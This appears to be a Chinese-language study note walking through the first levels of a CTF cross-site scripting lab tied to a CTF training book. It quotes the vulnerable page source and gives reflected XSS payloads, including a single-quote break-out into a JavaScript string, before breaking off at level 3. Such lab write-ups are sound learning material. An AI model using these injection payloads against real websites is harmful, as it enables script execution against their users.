介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
- 小技巧:
如果想跳到直接坐后面的关卡,换数字就可以了,
比如,
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level1
换成
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level6
就可以跳过前面的关卡直接开始做第6关,
第1关
-
1.首页
-
这题比较简单就直接破解
-
payload
../level1?username=<script>alert("Hello xss!")</script>
第2关
- 题目源码,输入的东西被单引号括住了
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '<scr<script>ipt>alert("Hello xss!")</scr<script>ipt>';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
-我们希望变成这个样子
var username = '';alert("Hello%20xss!")//';
- payload:
../level2?username=%27;alert("Hello%20xss!");//
- 进入下一关
第3关
-
输入上一关的payload
-
题目源码,这次过滤了单引号